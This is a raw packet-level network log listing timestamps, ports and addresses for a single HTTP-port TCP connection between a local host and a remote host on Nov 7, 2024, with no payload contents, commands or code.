Nov 7, 2024 06:01:24.927927017 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.927988052 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928000927 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928010941 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928020954 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928025007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928035975 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928036928 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928050041 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928055048 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928072929 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928090096 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928092957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928105116 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928123951 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928133011 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928154945 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928253889 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928272009 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928286076 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928299904 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928339958 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928350925 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928368092 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928369999 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928380966 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928388119 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928401947 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928420067 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928459883 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928478003 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928488970 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928493977 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928500891 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928513050 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928518057 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928523064 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928530931 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928540945 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928544044 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928550959 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928553104 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928561926 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928572893 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928585052 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928595066 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928601027 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928606033 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928616047 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928622007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928632975 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928639889 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928643942 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928661108 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928669930 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928675890 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928695917 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928719044 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928742886 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928755999 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928766966 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928776979 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928777933 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928792953 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928811073 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928916931 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928941965 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928947926 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.928951979 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928961039 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.928989887 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929018974 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929218054 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929251909 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929301023 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929311037 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929321051 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929332018 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929346085 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929361105 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929383993 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929394007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929418087 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929547071 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929558039 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929568052 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929583073 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929584026 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929595947 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929605961 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929634094 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929893017 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929935932 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.929975033 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929985046 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.929995060 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930003881 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930025101 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930052996 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930063009 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930094004 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930119991 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930191040 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930222988 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930228949 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930233002 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930258036 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930284977 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930303097 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930315018 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930315018 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930336952 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930351019 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930355072 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930365086 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930397034 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930413961 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930460930 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930473089 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930481911 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930495024 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930497885 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930522919 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930654049 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930665016 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930680990 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930687904 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930691004 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930704117 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930705070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930716991 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930725098 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930732965 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930746078 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930751085 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930757046 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930767059 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930784941 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930793047 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930797100 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930809021 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930819988 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930846930 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930887938 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930897951 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930903912 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930929899 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930947065 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.930979013 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930989981 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.930999041 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931031942 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931046963 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931061029 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931078911 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931088924 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931096077 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931123972 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931124926 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931143045 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931155920 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931160927 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931194067 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931195974 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931205988 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931216002 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931229115 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931237936 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931245089 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931251049 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931265116 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931273937 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931293011 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931318998 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931319952 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931349039 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931360006 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931370974 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931382895 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931391001 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931394100 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931405067 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931416988 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931432962 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931442022 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931444883 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931463957 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931472063 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931483984 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931490898 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931493998 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931504011 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931519985 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931535006 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931559086 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931570053 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931581020 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931591988 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931591988 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931608915 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931628942 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931663990 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931674004 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931683064 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931693077 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931699991 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931705952 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931734085 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931737900 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931760073 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931785107 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931848049 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931859970 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931870937 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931880951 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931881905 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931895018 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931898117 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931905031 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931915998 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931926966 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931936979 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931943893 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931946993 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931963921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931965113 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931977987 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931987047 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.931993961 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.931999922 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932009935 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932023048 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932051897 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932066917 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932101011 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932115078 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932126045 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932149887 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932177067 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932210922 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932316065 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932331085 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932341099 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932352066 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932353973 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932363987 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932368040 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932379007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932390928 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932400942 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932404995 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932413101 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932425976 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932429075 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932440996 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932446003 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932451010 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932461977 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932470083 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932482004 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932491064 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932493925 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932506084 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932514906 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932533979 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932549953 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932559967 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932564974 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932571888 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932580948 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932593107 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932596922 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932606936 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932615042 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932619095 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932630062 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932631016 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932651997 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932678938 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932724953 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932735920 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932746887 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932755947 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932759047 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932773113 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932794094 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932813883 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932825089 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932835102 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932845116 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932849884 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932862997 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932864904 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932874918 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932889938 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932924032 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932928085 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932960987 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.932971954 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.932985067 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933007002 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933026075 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933039904 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933049917 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933059931 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933072090 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933089972 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933116913 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933151007 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933157921 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933171988 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933182955 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933192968 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933208942 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933211088 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933222055 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933242083 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933248997 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933259964 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933267117 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933269978 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933281898 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933298111 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933305025 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933310032 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933320999 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933331966 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933370113 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933391094 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933407068 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933418036 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933424950 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933429003 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933442116 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933453083 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933458090 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933480024 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933501005 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.933577061 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.933587074 CET	80	49859	185.215.113.206	192.168.2.4
